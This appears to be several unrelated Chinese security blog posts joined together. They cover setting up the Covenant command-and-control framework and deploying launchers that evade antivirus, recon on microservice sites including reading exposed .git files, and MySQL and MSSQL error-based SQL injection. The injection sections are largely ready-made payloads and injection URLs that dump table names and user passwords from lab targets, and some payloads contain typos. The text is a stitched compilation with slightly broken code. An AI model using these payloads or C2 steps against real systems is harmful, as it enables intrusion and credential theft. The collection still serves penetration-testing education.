Covenant是一个.NET命令和控制框架,旨在突出.NET的攻击面,在Covenant的帮助下,研究人员可以更加轻松地去利用.NET的攻击面,而且它还可以作为红队研究人员的协作命令和控制平台。
Covenant是一个ASP.NET核心,并且是一款跨平台的应用程序,其中包含了一个基于Web的用户界面,并支持多用户协同工作。

0x01 Covenant安装

项目主页:

https://github.com/cobbr/Covenant

我们直接从github上克隆下来(由于我的网速克隆github上的项目太慢了,所以我用proxychains代理了一下)

git clone --recurse-submodules https://github.com/cobbr/Covenant

1.png

我们还需要下载一个编译环境,确保安装dotnet核心版本2.2 SDK!Covenant尚不支持dotnet core 3.0,SDK是构建项目所必需的(不仅仅是运行时)。

下载地址:

https://dotnet.microsoft.com/download/dotnet-core/thank-you/sdk-2.2.207-linux-x64-binaries

我们需要先把包下载下来:

wget https://download.visualstudio.microsoft.com/download/pr/022d9abf-35f0-4fd5-8d1c-86056df76e89/477f1ebb70f314054129a9f51e9ec8ec/dotnet-sdk-2.2.207-linux-x64.tar.gz

2.png

使用官网上给出的三条安装配置命令发现就可以直接把编译环境部署成功

mkdir -p $HOME/dotnet && tar zxf dotnet-sdk-2.2.207-linux-x64.tar.gz -C $HOME/dotnet
export DOTNET_ROOT=$HOME/dotnet
export PATH=$PATH:$HOME/dotnet

3.png

下面我们就可以开始使用dotnet编译Covenant了
还是两条命令:

dotnet build
dotnet run

4.png

使用dotnet run之后会直接运行Covenant,会给出一个web链接

5.png

6.png

0x02 配置使用Covenant

我们打开给出的链接,会直接让我们注册一个用户,这个大家就随意设置了,这个注册就是管理员账户了。

7.png

接下来就为大家介绍各个模块的使用方法:

Dashboard      #主视图和你登陆时看到的第一个东西。你可以很快地看到你得到的活跃的Grunts,当前活跃的监听器,以及一些最近分配给Grunts的任务。
Listeners      #提供用于管理监听器和监听器配置文件的界面。
Launchers      #提供用于创建,托管和下载启动器的界面,以用于启动新的Grunts。
Grunts         #显示一个表格,以查看所有活动和不活动的Grunts,以及与Grunts进行交互并为其分配新任务。
Templates      #植入模板 可自定义很多payload模板
Tasks          #任务内置Mimikatz等很多模块执行多种任务,也可自行定制
Taskings       #显示一个表格,以查看分配给Grunts的所有任务。
Graph          #提供图形视图以可视化监听器,Grunts和对等图形。
Data           #提供有关在操作过程中从Grunts 收集的数据的视图,例如凭据,指示器和下载的文件。
Users          #提供用于用户管理和创建的界面。

Dashboard:仪表盘

8.png

Listeners:监听器

这里还有一个选项为Profiles这个里面为监听器的配置文件,大家可以自行修改调试

单击Create新建一个监听器

9.png

创建的监听器分为两类,一类为HTTP监听器,另一类为TCP监听,我们先从HTTP来看。

10.png

HTTP监听器配置:

Name          #将在整个接口中使用的监听器的名称。选择一些可识别的东西!
BindAddress   #BindAddress是监听器将绑定到的本地ip地址。通常,这个值是0.0.0.0。
BindPort      #监听器需要绑定的端口
ConnectPort   #ConnectPort是Grunts将直接连接到的回调端口
ConnectAddress    #ConnectAddress是Grunts将直接连接到的回调地址
UseSSL            #是否启动SSL证书
HttpProfile       #HttpProfile决定了Grunt和Listener通信的行为,大家可以自行修改

这里我就全部默认配置,直接新建一个

11.png

如果需要停止或者删除大家点击名称即可进去控制,(右边还有个Hosted Files标签这个里面可以托管一些下载文件,这个大家就根据自己需求使用)

12.png

TCP监听器配置:

这个的配置方法和HTTP的都一样

13.png

我这里也是添加一个默认的。

14.png

Launchers:启动器

启动器用于启动Grunt,Covenant支持9种启动方式,大家在web页面上能看见名称和介绍

15.png

具体的各种启动方法,大家可以参照systemino大佬的文章:

https://blog.csdn.net/systemino/article/details/102901790

下面我们只演示前一、二种启动方式,生成可执行文件和powershell代码

Binary启动方式:

我们单击Binary名称进入配置页面,首先先选择我们之前建立的监听器,这个大家可以自行调整。

16.png

下一个是需要选择通信模板,官方提供了三个,如果监听器选择的是走http的,那么模板也选择HTTP的,如果是TCP的那么就选GruntBridge的,模板选择不同下面选项的配置也有所不同,但是也就是多了个SSL证书的选项是否打开,一般来说看个人需求,没啥需求默认就好了。

17.png

Listener      #为监听器
Template     #为通讯模板
Delay        #为延迟 
JitterPercent  #为抖动时间     
ConnectAttempts #为尝试连接时间
KillDate      #为杀死进程时间
DotNetFrameworkVersion   #为.net的版本

这里我就选择默认的配置,监听器选择http的,模板也选http,.net版本为4.0,单击Generate即可成功生成

18.png

点击Download即可下载可执行文件

19.png

我们可以去靶机里测试一下上线,也方面后面的几个模块有数据好看一些,我们把常用的杀软开启试一下免杀效果。

20.png

已成功上线。

21.png

Powershell:启动方式

我们将各项配置好之后,点击Generate即可生成PowerShell代码(千万注意,.net版本一定要选目标主机所存在的版本)

22.png

在下方会有两条PowerShell语句,一条是未编码过的,一条是经过编码后的代码(编码采用的是Base64)

23.png

而后需要去Host标签页里填上路径和文件名并点击Host确定

24.png

会自动跳转到生成页面,现在我们的url和路径就会自动加载了

25.png

我们复制一条PowerShell语句去另一台靶机上执行一下

26.png

已经成功上线了

27.png

如果还有其他的几种启动方式不懂的话可以参考一下systemino大佬的博客:

https://blog.csdn.net/systemino/article/details/102901790

Grunts:

Grunts里会显示所有的受控主机,并可以像受控主机发送命令及分配任务。

28.png

我们点击相应的名称即可进入对应主机的控制页面。

Info:info标签页会显示受控主机的所有信息,在底部的Edit按钮可对其进行修改.

29.png

Interact:Interact标签内可与主机进行交互,例如执行系统命令:shellcmd ipconfig

Covenant内置了多种命令和工具都可以在此处与主机进行交互(详情见Tasks)

30.png

使用help和查看所有命令的介绍

31.png

Task:Task标签主要用来对目标该目标下发任务

我们可以选取自己所需要的的脚本来执行

32.png

我这里选择一个扫端口的来演示一下,扫描的目标和端口都可以自定义

33.png

点击Task执行,扫描的结果会在弹出的任务页里显示

34.png

同时也会在Interact里显示详情

35.png

Taskings:Taskings标签主要用来查看该主机任务分配的情况

36.png

点击各个任务的名称会显示任务详情

37.png

Templates:

在Templates里会显示现已有的Grunt通讯模板,当然如果有需要的话也可以自己添加和修改。

38.png

39.png

Tasks:

在Tasks里会显示已有的任务,例如绕过UAC、MImikatz等,可以在Grunts里与目标主机直接进行交互发送任务。同时在各个任务名称的右侧会描述出各个任务的作用。

40.png

如果有自己需要的插件可以点击Create进行添加

41.png

Taskings:

在Taskings里会显示所有Grunt里目标主机的任务分配情况,单击名称即可查看任务详情。

42.png

Graph:

在Graph里用图形化界面展示Grunts目标主机和Listeners监听器的连接关系.

43.png

Data:

在Data里会显示,凭证、指标、下载、截图

Credentials为已经在目标主机里获取到的账号密码、Hash、票据信息

44.png

Indicators为目标指标、网络指标、文件指标

45.png

Downloads为已从目标主机上下载的文件

46.png

Screenshost为已截取的目标主机桌面图

47.png

User:

在User里可以添加和管理Covenant账户

48.png

上次讲了 微服务下的信息收集(一),这次来补充一下 微服务下的信息收集(II)。

上次介绍了一个公司的站点可能由各个独立在不同服务器上的服务组成,所以我们需要想尽办法找到更多的域名。

为了更好的测试我们也需要找到更多的目录和参数。上次介绍可以从目标的微信小程序搜集域名,也介绍了一款可以帮助我们收集目标js里子域名和url的工具JSFinder。

这次我们继续介绍如何收集更多的资料,以下所有内容都是围绕同一个站点进行,目标域名abc.com,但是因为一些原因,真实站点截图无法放出,部分截图为某公益src项目信息收集截图。

相关域名发现

1、备案查询

绝大多数网站都是有备案信息的,可以通过备案信息查询。如下图,通过备案查询,我们找到另一个站点xyz123.com(该截图来自对某公益src站点的采集,并非原目标)。

1.png

2、证书透明度公开日志枚举

证书透明度(Certificate Transparency,CT)是证书授权机构(CA)的一个项目,证书授权机构CA会将他们发布的每个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含域名、子域名和邮件地址,它们也经常成为攻击者非常希望获得的有用信息。

因为目标是个大型站点,用这种方法找到的几率比较大。
如下图,在https://crt.sh/ 中查询
(该截图来自对某公益src站点的采集,并非原目标):

2.png

3、dns等

这里还有很多方法,太过繁琐,直接上工具,这次用的工具是oneforall,功能很多,各位感兴趣可以自己研究。(该截图来自对某公益src站点的采集,并非原目标)

3.png

通过上面的收集,除了发现很多有意思的子域名,而且搜索到了如xyz123.com和ddba.com等和目标相关的域名。

服务划分

对上面找到的域名逐个访问,对得到的内容进行简单处理,发现目前搜集到的服务(能访问的域名)主要有展示站,综合运营管理平台和广告服务。

找到他们所对应的服务器,发现每个服务都至少都包含2台服务器,如图:

4.png

在上面的所有域名和IP中,有两个挺有趣的,一个是office.abc.com,一个是xxxxx.abc.com。

为什么有趣呢,一是因为名称office听起来就像是办公服务,另一个是IP,其余的服务器IP都是11...或者是14...,就它俩特殊,所以这俩待会要重点关照。

在上篇文章中说过,微服务是由很多个独立的服务组合而成的,而上面收集到的服务看起来不像是所有的服务,毕竟上面是被动的信息收集,搜集的内容有限。假设上面搜集到的服务器是目标的大部分服务器,那么如果目标还有其它服务,我们该怎么办呢?答案是扫描端口。

端口扫描

在端口扫描时需要注意的是,因为一台服务器上可能有很多服务,所以这里在扫描的时候需要扫描全部端口,这里使用nmap -sC -T4 -p 1-65535重点扫描了那两台服务器,发现了两个有意思的地方,如下:

5.png

第二个是一个很厉害的服务,估计是处于开发中,访问页面默认填充账户密码,所以这里不放图了(认怂保平安)。

6.png

隐私文件探测

在上一篇文章微服务的介绍途中,有一部分是通过git管理的。

7.png

于是随手在目标站输入个abc.com/.git,得到403的反馈。

8.png

于是继续随手输入abc.com/.git/config

9.png

再然后我又顺手输入了很多东西,得到了很多东西,甚至包括开发人员的姓名,邮箱,甚至是内网ip分布和git所在服务器的位置。

10.png

API探测

在上一篇文章中提出可以通过js收集api的相关信息,但是有些站点使用了webpack:

11.png

本质上,webpack 是一个现代 JavaScript 应用程序的静态模块打包器(module bundler)。

当 webpack 处理应用程序时,它会递归地构建一个依赖关系图(dependency graph),其中包含应用程序需要的每个模块,然后将所有这些模块打包成一个或多个 bundle。

12.png

webpack会把所有的js信息打包在一起,这样的好处是前后端分离。

但同样的,它也会把所有的api暴露出来。如下图,直接查看目标源代码:

13.png

我们可以逐个点击每个.js文件去探寻,这里找到一个source map

14.png

通过该source map文件可以还原网站原始代码,有两种方法:

1、使用浏览器自带的解析功能(以火狐举例)

15.png

2、使用工具

npm install -g source-map-unpack

16.png

17.png

这样我们就可以在里面找到更多的信息。

微服务下的信息收集就是那么有意思,通过逐步探测,如同盲人摸象那样找到每一个服务,然后拼凑出一个整体。这次的站点是一个典型的由微服务构成的,但站点性质特殊,所以收集到的内容都是疯狂脱敏的,各位理解万岁。

微服务渗透下的信息搜集

随着web安全从业人员的增多,

很多人都有个疑问:

怎么洞越来越难挖了!!?大网站是不是没有这些漏洞!!?

1.png

原因是多样性的,一方面是漏洞隐藏的越来越深,另一方面是网站的架构正在发生改变;

所以我们除了要提升自己的技术能力之外,我们也要顺应互联网的发展,针对不同的网站架构寻找不同着手点,也就是扩大信息收集的范围,这篇文章就是对微服务下信息收集的浅谈。

在介绍正题之前,先聊聊网站应用的发展史。

网站应用发展

2.png

单一应用架构

当网站流量很小时,只需一个应用,将所有功能都部署在一起,以减少部署节点和成本。此时,用于简化增删改查工作量的数据访问框架(ORM)是关键。

垂直应用架构

当访问量逐渐增大,单一应用增加机器带来的加速度越来越小,将应用拆成互不相干的几个应用,以提升效率。此时,用于加速前端页面开发的Web框架(MVC)是关键。

分布式服务架构

当垂直应用越来越多,应用之间交互不可避免,将核心业务抽取出来,作为独立的服务,逐渐形成稳定的服务中心,使前端应用能更快速的响应多变的市场需求。此时,用于提高业务复用及整合的分布式服务框架(RPC)是关键。

流动计算架构

当服务越来越多,容量的评估,小服务资源的浪费等问题逐渐显现,此时需增加一个调度中心基于访问压力实时管理集群容量,提高集群利用率。此时,用于提高机器利用率的资源调度和治理中心(SOA)是关键。

微服务

紧接着就是微服务,微服务最初的概念是由Martin Fowler提出。

在他的博客中提出:

“微服务架构是一种架构模式,它提倡将单一应用程序划分成一组小的服务,服务之间相互协调、互相配合,为用户提供最终价值。

每个服务运行在其独立的进程中,服务和服务之间采用轻量级的通信机制相互沟通(通常是基于HTTP的Restful API)。每个服务都围绕着具体的业务进行构建,并且能够被独立的部署到生产环境、类生产环境等。

另外,应尽量避免统一的、集中的服务管理机制,对具体的一个服务而言,应根据业务上下文,选择合适的语言、工具对其进行构建”。

下面给一张微服务的架构图,我们的信息收集也将由此展开:

3.png

基于微服务的信息收集

从上面的网站架构的发展史来看,随着功能的增加和重叠,把所有的功能都逐渐细化,由之前的所有都在一起,细化到甚至是一个功能一个服务器(docker),虽然看似前面有各类云waf和nginx反代阻碍我们,但我们需要记住两点:

1#后面的服务看似是在内网,但其实都是在云上,都有自己的公网ip
2#各种服务之间相互联系,可以搜索的和利用的点增加,只要一个点进去,那么很快就可以拿下全部

基于这两点,我们可以采用盲人摸象的方法逐步探测出目标的构造,其中最简单的,就是收集目标相关的域名、目录和参数。

我们对域名和目录收集方式最多的就是爆破,通过大量的数据去跑,但是随着时间的发展,这些方法虽然能用,但是不太好用,我们需要考虑更好的方法收集这些,比如API。

通过微信小程序收集

很多时候,许多和目标相关的URL我们无法通过以前的方式搜集到,那么如果目标存在微信小程序,那么我们可以尝试从微信小程序收集些信息。

4.png

如下图,很多内容都是通过常规手段无法收集到的,接下来可操作范围比较广,按照常规思路,我们可以使用一些工具爆破目录,如下图。

5.png

但是很尴尬,我们使用以前常用的字典很难像之前那样轻易找到大量目录或者隐藏的文件,这时候我们需要想办法重新找到入口点,比如从js文件中寻找。

**通过js收集,url,目录和参数
不可否认,js里面蕴藏了很多有意思的内容,除了大量的域名之外,其中最重要的莫过于目录和参数,在实战中发现,通过js发现的目录和参数收集起来,组成字典。**

通过fuzz的思想进行随机组合,会有很多惊喜的出现,出现的这些内容是以往的信息收集无法找到的。

因为一些原因,这些截图无法放出,但是可以给大家分享一个项目,这个项目就可以收集js里的部分内容:https://github.com/Threezh1/JSFinder

6.png

7.png

如上图所示,通过js我们能找到很多和目标相关的信息,其中包括大量的子域名和相关的url,比如从上图中我们看到有1177条urls和95条子域名,当然我们也能找到一些api信息。

8.png

当我们爬取到足够的参数时,就可以结合之前收集的url进行测试,比如:

9.png

这种状况是我们最常见的,访问目录403,这时我们猜测是缺少参数。

这时候我们就可以通过收集的大量的参数进行模糊测试(以前是爆破后台等,现在是爆破参数)。制作参数字典,我们可以通过js里的参数来构造字典,也可以通过github收集常用的参数制作字典,待以后遇到同类型的网站的时候可以直接通过相关软件去测试。

这里我们举个做字典的小方法:

1、在github上搜索$_GET,然后点击左侧的code

10.png

2. 爬取相关参数制作字典

11.png

有了字典,我们可以通过burp的爆破功能做个测试。测试如下图。

11.png

然后根据通过返回的结果进行判断,因为一些原因,成功的截图就不放出来了。
随着技术的发展,很多大厂的漏洞越藏越深,作为安全人员,我们也要想尽办法扩大测试范围,挖掘那些隐藏的漏洞。

SQL报错注入定义:
SQL报错注入基于报错的信息获取,虽然数据库报错了,当我们已经获取到我们想要的数据。例如在增加删除修改处尝试(insert/update/delete)。

报错注入条件:
后台没有屏蔽数据库报错信息,在语法发生错误的时候会输出在前端。

常用四个报错函数:
updatexml():是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue():是mysql对xml文档数据进行查询的xpath函数
floor():mysql中用来取整的函数
exp():此函数返回e(自然对数的底)指数X的幂值

updatexml函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值

语法:updatexml(xml_document,XPthstring,new_value)
第一个参数是字符串
第二个参数是指定字符串中的一个位置(Xpath格式的字符串)
第三个参数是将要替换成什么
Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据

下面进入靶场尝试
注册就是往数据库里面加数据,insert。

1.png

在用户处输入单引号 报错

2.png

我们可以猜测他后端的语句是

insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

我们可以在xxx出爆我们想要的数据

' or updatexml(0,concat(0x7e,select database()),1)'

需要单引号闭合前面和后面,使我们的语句逃逸出来

3.png

可以看到成功爆出数据库。我们来分析一下为什么会成功
当我们输入payload

' or updatexml(0,concat(0x7e,select database()),1)or'

他后端就被我们拼接为

insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',

这样就会使我们的语句执行成功(后面爆数据就不一一展示了就在database()那里换就行)

extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串
extractvalue (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc
第二个参数:XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误
用法其实跟updatexml一样
构建payload

' or extracrvalue(0,concat(0x7e,database())) or '

4.png

但要注意xpath回显只有一位使用limit函数逐个爆,且最长为32位,超过32位爆不了
所以使用其他函数

floor()
floor是mysql的一个取整函数

payload:Select count(*),concat(**PAYLOAD**,floor(rand(0)*2))**x** from 表名 group by **x**;
爆库' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '
爆表 ' and (select 2 from (select count(*),concat((select table_name from information_schema.tables where table_schema='pikachu' limit 3,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '
爆列 ' and (select 2 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '
爆内容 ' and (select 2 from (select count(*),concat((select concat(':',username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '

5.png

成功

exp函数
当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

' or EXP(~(SELECT * from(select version())a)) or '
爆表' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '
爆列' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
爆数据 ' or wzp(~(select * from(select password from users limit 0,1)a)) or '

6.png

7.png

mysql报错注入修复方法:

  1. 屏蔽能造成报错注入的各种函数,函数
  2. 对输入长度做限制,对用户输入做预处理
  3. 对各种报错注入的返回结果,统一返回至不包含任何错误提示信息的回显页面。
  4. 使用数据库防火墙,精准分析业务SQL和危险SQL,拦截SQL注入等危险语句。

最常用的大概是这几种,据了解好像有12中报错函数,其实目的都是使数据库报错从而得到我们想要的信息,只是语法不相同而已。继续加油!

简介

今天主要分享下sql注入中的报错型,在大多网上的文章会列出类似于公式的句子,却没解释为什么要使用这样的函数,为什么使用这个函数会出现报错而导致sql注入。

convert()函数,CONVERT()函数是把⽇期转换为新数据类型的通⽤函数。

语法:

CONVERT(data_type(length),data_to_be_converted,style)
注释 :
data_type(length) 转换为⽬标数据类型(带有可选的长度)。
data_to_be_converted 含有需要转换的值。
style 规定⽇期/时间的输出格式。

示例:

CONVERT(VARCHAR(19),GETDATE())
CONVERT(VARCHAR(10),GETDATE(),110) 
CONVERT(VARCHAR(11),GETDATE(),106)
CONVERT(VARCHAR(24),GETDATE(),113)

结果类似:

Dec 29 2008 11:45 PM
12-29-2008
29 Dec 08
29 Dec 2008 16:25:46.635

原理

对于 convert(int,@@version),convert 函数⾸先会执⾏第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进⾏指定的转换,所以,convert函数会抛出 ⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。

满⾜条件的函数还有很多:

convert() 
file_name() 
db_name() 
col_name() 
filegroup_name()
object_name() 
schema_name() 
type_name() 
cast()

注⼊流程

查询基本信息

convert(int,@@version)     获取版本信息 
convert(int,db_name())     数据库名字 
convert(int,user)          当前⽤户名 
convert(int,@@SERVERNAME)  获取有关服务器主机的信息

获取版本信息

http://192.168.159.135:8080/get.aspx?id=convert(int,@@version)

1.png

注意在这里我们直接吧函数放到 id= 的后面,因为 id=1 查询的是整型(int),而我们的 convert(int,@@version) 获取到的版本信息是字符型,所以他就会报错,从而爆出版本信息!

或者也可以使用这条语句也能实现上面的查询结果:

http://192.168.159.135:8080/get.aspx?id=1 and 1=(convert(int,@@version))

2.png

获取当前数据库的表名

CONVERT(int,(select top 1 table_name from information_schema.columns))

http://192.168.159.135:8080/get.aspx?id=CONVERT(int,(select top 1 table_name from information_schema.columns)

3.png

我们获取到了当前网站数据库的表名是:users!

获取列名

convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制的表名 as varchar)))

http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273  as varchar)))

4.png

这样我们就获取到了第一个列名 id!

那么想要获取第二个列名我们就可以再后面加一个条件语句:and COLUMN_NAME != 'id'

http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar) and COLUMN_NAME != 'id'))

5.png

这样我们就获取到了第二个列名:username !

想要获取第三个也是以此类推加条件语句:and COLUMN_NAME != 'username'

http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar) and COLUMN_NAME != 'id' and COLUMN_NAME != 'username'))

6.png

这样我们就获取到了第三个列名 password !

获取数据

我们按照上面的顺序获取到了网站的表名:users,列名有:id、username、password。很明显账号密码就在列名的username、password,那么我们就可以获取数据了:

convert(int,(select top 1 列名 from 表名))

http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 username from users))

7.png

获取到了第一个username列名的第一个数据:saul!

如果想获取到 username 里面的第二个数据那么就加一个条件语句:where username!='saul'

http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 username from users where username!='saul'))

8.png

这样就获取到的 username 的第二个数据!想要获取第二个就以此类推!

既然 username 我们获取到了两个:saul、admin!那么我们就要获取到他们的密码了!

http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 password from users))

9.png

获取到第一个 password 列的值为:saul520!

想要获取下一个就加一个 where 条件语句:where password!='saul520'

http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 password from users where password!='saul520'))

10.png

这样就获取到了第二个password的数据了!

至此Mssql的报错注入就到此为止!